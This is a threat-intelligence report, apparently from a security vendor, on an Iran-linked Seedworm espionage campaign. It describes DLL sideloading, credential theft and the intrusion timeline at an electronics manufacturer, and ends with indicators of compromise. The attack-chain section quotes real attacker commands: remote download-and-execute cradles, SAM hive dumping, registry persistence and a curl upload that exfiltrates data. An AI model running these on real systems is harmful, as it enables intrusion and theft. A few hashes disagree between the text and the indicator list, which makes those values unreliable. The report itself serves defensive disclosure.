

Seedworm: Iran-Linked Hackers Breached Korean Electronics Maker in Global Spying Campaign

✓ security.com/threat-intelligence/iran-seedworm-electronics



Key findings

- Activity observed in the first quarter of 2026 affected at least nine organizations across nine countries on four continents, spanning industrial and electronics manufacturing, education and public-sector bodies, financial services, and professional services.
- The attackers relied heavily on DLL sideloading using legitimately signed Fortemedia (fmapp.exe) and SentinelOne (sentinelmemoryscanner.exe) binaries to execute malicious DLLs while masquerading as benign software.
- A node.exe-based implant chain was used to drop PowerShell scripts that performed reconnaissance, screenshot capture, SAM hive theft, privilege escalation and SOCKS5 reverse-proxy tunnelling.

Iran-linked attackers spent a week inside the network of a major South Korean electronics manufacturer in February 2026, as part of a sprawling early-year espionage campaign affecting at least nine organizations across four continents.

Other targets included government agencies and an international airport in the Middle East, Southeast Asian industrial manufacturers, a Latin American financial-services provider, and educational institutions in multiple countries.

The attacks were carried out by the espionage group Seedworm (aka MuddyWater, Temp Zagros, Static Kitten), which is widely believed to be linked to the Iranian Ministry of Intelligence and Security (MOIS). The common thread in the campaign is that every targeted organization may hold material that would be of intelligence value to Tehran, from intellectual property on high-tech manufacturing, research, intelligence on rival governments, or downstream access to customers of services companies.

Tooling and tradecraft

The toolkit observed in this campaign is consistent with known Seedworm tradecraft and includes some previously documented Seedworm tools.

The attackers consistently dropped pairs of files comprising a legitimate, validly signed third-party executable and a malicious DLL designed to be loaded by it. Two pairs were used:

- fmapp.exe: A legitimate audio-driver utility developed by Fortemedia Inc. It was abused to sideload a malicious DLL (fmapp.dll). The same fmapp.exe / fmapp.dll pairing [has been described in prior Seedworm reporting by Group-IB](#).
- sentinelmemoryscanner.exe: A legitimate, signed component of the SentinelOne endpoint product was abused to sideload a malicious DLL (sentinelagentcore.dll). The use of a security-product binary is a deliberate choice intended both to defeat path or signature-based detection and to confuse triage.

Both malicious DLLs contain ChromElevator, [a publicly available post-exploitation tool](#) capable of covertly stealing and exfiltrating data such as passwords, cookies, and payment card data from Chromium-based browsers.

In both cases the parent process at the moment of execution was node.exe, suggesting that the sideloading was orchestrated by a Node.js script rather than by the user.

Node.js-based loader and PowerShell scripting

Seedworm has historically been a prolific user of PowerShell and this campaign was no different. In this case, however, PowerShell was delivered and orchestrated through Node.js scripts. Node.exe was observed as the parent of multiple stages of activity, and a Node.js script was found embedded inside an XML file on the targeted host. This reflects a recent tactical shift by the group. [Our previous Seedworm blog noted their use of Deno](#), a secure runtime similar to Node.js.

Several distinct PowerShell scripts were pulled from a staging server, including some that were used for screenshot capture and reconnaissance.

Credential theft and privilege escalation

Multiple distinct credential theft and privilege escalation tools were used, suggesting that the operators iterated through their toolkit in search of a path to elevated access.

In particular, they used a credential harvester (SHA256: d587959841a763669279ad831b8f0379f6a7b037dfc19deab5d41f37f8b5ffc) that calls *CredUIPromptForWindowsCredentialsW*, which triggers the standard Windows security dialog box asking for a username and password. It then saves the password in C:\ProgramData\lopa.txt.

A privilege escalation tool was also used. (SHA256: 74ab3838ebcd7054b2254bf7d334c80c8b2cfec4a97d1706723f8ea55f11061f). It automates Kerberos Ticket Granting Ticket (TGT) extraction via Generic Security Services Application Program Interface (GSS-API) delegation abuse. It attempts to obtain a usable TGT from a high-privilege user (like a domain admin) without needing their password.

Data exfiltration via a public file-transfer service

Rather than building bespoke exfiltration channels, the attackers, in at least one intrusion, staged stolen data through sendit[.]sh, a public file-transfer service. While the service advertises itself as a legitimate file-sharing service, VirusTotal records show it has been associated with malicious activity, and its use in an Iranian state-sponsored intrusion underlines a continuing trend of state-aligned actors blending operational traffic with consumer cloud services to evade network-based detection.

Attack chain: Intrusion against major electronics manufacturer

The initial infection vector used by the attackers in this incident is unknown. The first observed malicious activity on the targeted host occurred on February 20, 2026, when a short burst of PowerShell-based reconnaissance commands were executed.

The early PowerShell process tree was unusual in that node.exe, the Node.js runtime, appeared as an ancestor of cmd.exe, suggesting that a Node.js script was already running on the host at the time and that it, rather than a human operator, was driving the activity. How node.exe came to be on the host is unknown.

Within the same minute, the attackers issued a sequence of standard discovery commands to enumerate the local computer, the logged-on user, and the wider domain:

```
whoami
```

```
whoami /all
```

```
hostname
```

```
ipconfig /all
```

```
net session
```

```
net user /domain
```

```
net group [REMOVED] /domain
```

The output would have given the attackers a complete picture of the host's identity, the privileges of the current user and the membership of the queried domain and local groups.

WMI was then used to enumerate antivirus products registered with the Security Center, almost certainly to identify what defensive tooling the attackers needed to evade:

```
wmic /namespace:\\root\\SecurityCenter2 path AntiVirusProduct get *
```

Approximately 12 minutes after the initial recon, the attackers issued a PowerShell one-liner that, on the basis of the encoded blob and lineage information, appears to have captured a screenshot of the user's primary display and written it to disk under the user's profile. The use of an automated screenshot capture this early in the intrusion is consistent with an operator wanting to confirm what the user was working on.

There was then a short pause before the first download cradle fired, pulling a PowerShell payload from an attacker-controlled staging server at 179.43.177[.]220 over plaintext HTTP on port 8080 (payload was not available during our analysis):

```
powershell -NoProfile -Command "iex (New-Object  
Net.WebClient).DownloadString('http://179.43.177[.]220:8080/nm.ps1')"
```

Over the following two hours, the attackers downloaded two additional files from the same staging server using curl.exe, dropping them under the user's profile in a directory whose name contained a long random-looking value:

```
curl.exe -o CSIDL_PROFILE\appdata\local\[RANDOM]\a.dat http://179.43.177[.]220:8080/a.dat
```

```
curl.exe -o CSIDL_PROFILE\appdata\local\[RANDOM]\a.exe http://179.43.177[.]220:8080/a.exe
```

The files were not available for retrieval during analysis but a.dat is believed to be an encoded payload. Its naming is consistent with Seedworm's habit of staging encoded blobs under generic extensions. A.exe is expected to be a Windows binary. Attackers sometimes use curl.exe in place of PowerShell's own download primitives to keep tell-tale network artefacts away from PowerShell's script-block logging.

The attackers deployed the first of two DLL sideloading pairs. Fmapp.exe, a legitimate Fortemedia Inc. signed audio-driver utility, was launched and immediately loaded fmapp.dll from the same directory. The dropped fmapp.dll has been described in prior Seedworm reporting as introducing SOCKS5 reverse-proxy activity into the host, providing the attackers with a tunnel through which to relay traffic, although in this case it contained ChromElevator.

Roughly 15 minutes later, a second sideloading pair was executed. Sentinelmemoryscanner.exe, a legitimate signed component of the SentinelOne endpoint product, was run from the same per-user staging directory, where it sideloaded a malicious sentinelagentcore.dll, which contained ChromElevator. Both DLL pairs were observed running with node.exe as their grandparent, which is consistent with the sideloading being initiated by the Node.js loader infrastructure rather than by an operator.

Persistence was established shortly afterwards. The attackers added a value under the standard CurrentVersion\Run registry key with a long, randomly generated value name pointing at the sideloaded binary, ensuring that the loader chain would be re-executed every time the user logged in:

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [RANDOM] /t REG_SZ /d "CSIDL_PROFILE\appdata\local\[RANDOM]\fmapp.exe" /f
```

Beginning shortly afterwards and continuing intermittently through the morning, the attackers performed several rounds of credential dumping. The first technique observed was SAM/SECURITY/SYSTEM hive theft via reg save:

```
reg save hklm\sam C:\Windows\Temp\sam.save /y
```

```
reg save hklm\security C:\Windows\Temp\security.save /y
```

```
reg save hklm\system C:\Windows\Temp\system.save /y
```

From these hives the attackers would be able to extract local-machine NTLM password hashes for offline cracking and use for lateral movement, along with cached domain credentials and the LSA secrets store.

A privilege-escalation component was executed in the same window, consistent with the attackers seeking SYSTEM privileges in order to reach LSASS or to read protected hives. Two further credential-stealer components executed in the half-hour following. One of those (SHA256: d587959841a763669279ad831b8f0379f6a7b037dffc19deab5d41f37f8b5ffc) has been [previously documented in Group-IB's February 2026 reporting on Seedworm](#), although the public report did not pin down exactly what the binary does. The number and variety of credential-theft tools deployed onto a single host in a short window is itself notable, and is consistent with an operator who wants redundancy in case a particular technique is blocked by endpoint security.

The attackers also took an early step to confirm the host's external network identity, useful both for situational awareness and as an automated sanity-check inside an implant, by requesting a JSON-formatted view of the host's public IP from a benign third-party service:

```
powershell -NoProfile -Command "(Invoke-WebRequest -UseBasicParsing http://ipinfo.io/json).Content"
```

Through the rest of February 20 and into February 21, the host produced a steady cadence of identical short reconnaissance and ping-style commands at near-fixed intervals, typically every 90 seconds for runs of an hour, then went quiet for several hours. The pattern is consistent with periodic beaconing or environmental sanity checks performed by an implant on a timer, rather than active hands-on-keyboard activity.

On February 22, the attackers returned. They first checked the public IP address again, then executed a short PowerShell script (sp.ps1) which, on the basis of its lineage and timing, appears to have been used to take a fresh round of screenshots. They then pulled a second PowerShell module (lpu.dll, despite its DLL extension, was executed via PowerShell) from a another attacker-controlled domain:

```
powershell -NoProfile -Command "iex (New-Object  
Net.WebClient).DownloadString('https://timetrakr[.]cloud/sp.ps1')"
```

The timetrakr[.]cloud domain appears to be an attacker-owned staging domain. Its use here, alongside the hard-coded staging IP address, gives the attackers two independent fetch channels in case one is blocked.

Throughout February 22, the attackers performed a more aggressive round of host and domain reconnaissance: listing scheduled tasks, enumerating local services, and re-running net group / net localgroup commands with several different group names. They then exfiltrated a tranche of data through a public file-transfer service:

```
curl.exe -F "file=@C:\Windows\Temp\<artifact>" https://sendit.sh
```

The sendit[.]sh site advertises itself as a free file-transfer service, but VirusTotal records show it has been associated with malicious activity. The fact that the operators chose to relay stolen data through a public consumer service, rather than to dedicated infrastructure, is consistent with an actor trying to blend exfiltration into traffic that might survive perimeter inspection.

On February 23 and February 24, activity on the host largely consisted of repeated short PowerShell reconnaissance commands, periodic checks of the host's public IP address, and occasional re-executions of fmapp.exe and sentinelmemoryscanner.exe, almost certainly to maintain a live SOCKS5 tunnel and to keep the sideloaded DLLs resident in memory. The cadence is again consistent with implant-driven activity rather than continuous operator presence.

There was then a gap of approximately 36 hours during which no malicious activity was observed on the infected host. Activity resumed on February 26 with a final round of credential dumping, a re-staging of fresh tooling under a newly created random-named directory, and a short window during which the attackers re-ran net group and net localgroup commands against a different set of group names, possibly searching for a path into a more privileged domain group than they had previously identified. The last activity occurred on February 27, when the sideloaded fmapp.exe was re-launched.

Significance of this campaign

Several things are noteworthy about this campaign. The geography is unusual. Although Seedworm's traditional hunting ground is the Middle East and South Asia, it has broadened its range of targets of late, which was highlighted in [our previous blog which described how the group](#)

[targeted organizations in the U.S.](#) These attacks on a major South Korean electronics manufacturer and Southeast Asian industrial manufacturers, suggests Tehran's intelligence requirements have broadened.

The intrusions took place against a backdrop of continued tension over Iran's nuclear program and ongoing regional conflicts. Espionage actors do not typically calibrate their operations to the news cycle, but the volume and breadth of activity in early 2026 is consistent with an operator under pressure to deliver.

Seedworm's tradecraft has matured. While it has long been seen as a competent, if not always sophisticated, threat actor, its campaign history shows a clear move towards quieter, more disciplined operations: orchestration through Node.js rather than raw PowerShell; DLL sideloading using legitimate, signed third-party binaries (including, pointedly, a SentinelOne component); exfiltration through public consumer services, and redundant credential-theft tooling deployed in case any single binary is blocked. None of these techniques are individually novel, but in combination they provide more evidence of a significant step up in operational hygiene from the Seedworm that we knew of two or three years ago.

Protection/Mitigation

For the latest protection updates, please visit the [Symantec Protection Bulletin](#).

Indicators of Compromise

If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.

File indicators

e25892603c42e34bd7ba0d8ea73be600d898cad9e3417a82c04d6281b743b – fmapp.exe

c6182fd01b14d84723e3c9d11bc0e16b34de6607ccb8334fc9bb97c1b44f0cde – fmapp.dll

128b58a2a2f1df66c474094aacb7e50189025fbf45d7cd8e0834e93a8fbed667 –
sentinelmemoryscanner.exe

0c9b911935a3705b0ad569446804d80026feb6db3884aeb240b6c76e9b8cf139 –
sentinelagentcore.dll

74ab3838ebed7054b2254bf7d334c80c8b2cfec4a97d1706723f8ea55f11061f – Privilege
escalation tool

3ee7dab4ae4f6d4f16dfabb6f38faef370411a9fc00ff035844e54703b99600a – SAM hive credential
extractor

bee79c3302b1a7afc0952842d14eff83a604ef00bfdae525176c16c80b2045f7 – SAM hive
credential extractor

d587959841a763669279ad831b8f0379f6a7b037dffc19deab5d41f37f8b5ffc – Credential harvester

b21c802775df0c0d82c8cfde299084abc624898b10258db641b820172a0ba29a - Socks5 proxy
tool

Network IOCs

179.43.177[.]220

178.128.233[.]36

172.67.156[.]47

104.21.48[.]205

timetrakr[.]cloud

37.187.78[.]41

34.117.59[.]81

sendit[.]sh

http://179.43.177[.]220:8080/nm.ps1

http://179.43.177[.]220:8080/a.dat

http://179.43.177[.]220:8080/a.exe

http://ipinfo[.]io/json

https://svc.wompworthy[.]com

About the Author



Threat Hunter Team

Symantec and Carbon Black

The Threat Hunter Team is a group of security experts within Broadcom whose mission is to investigate targeted attacks, drive enhanced protection in Symantec and Carbon Black products, and offer analysis that helps customers respond to attacks.



Threat Hunter Team

Symantec and Carbon Black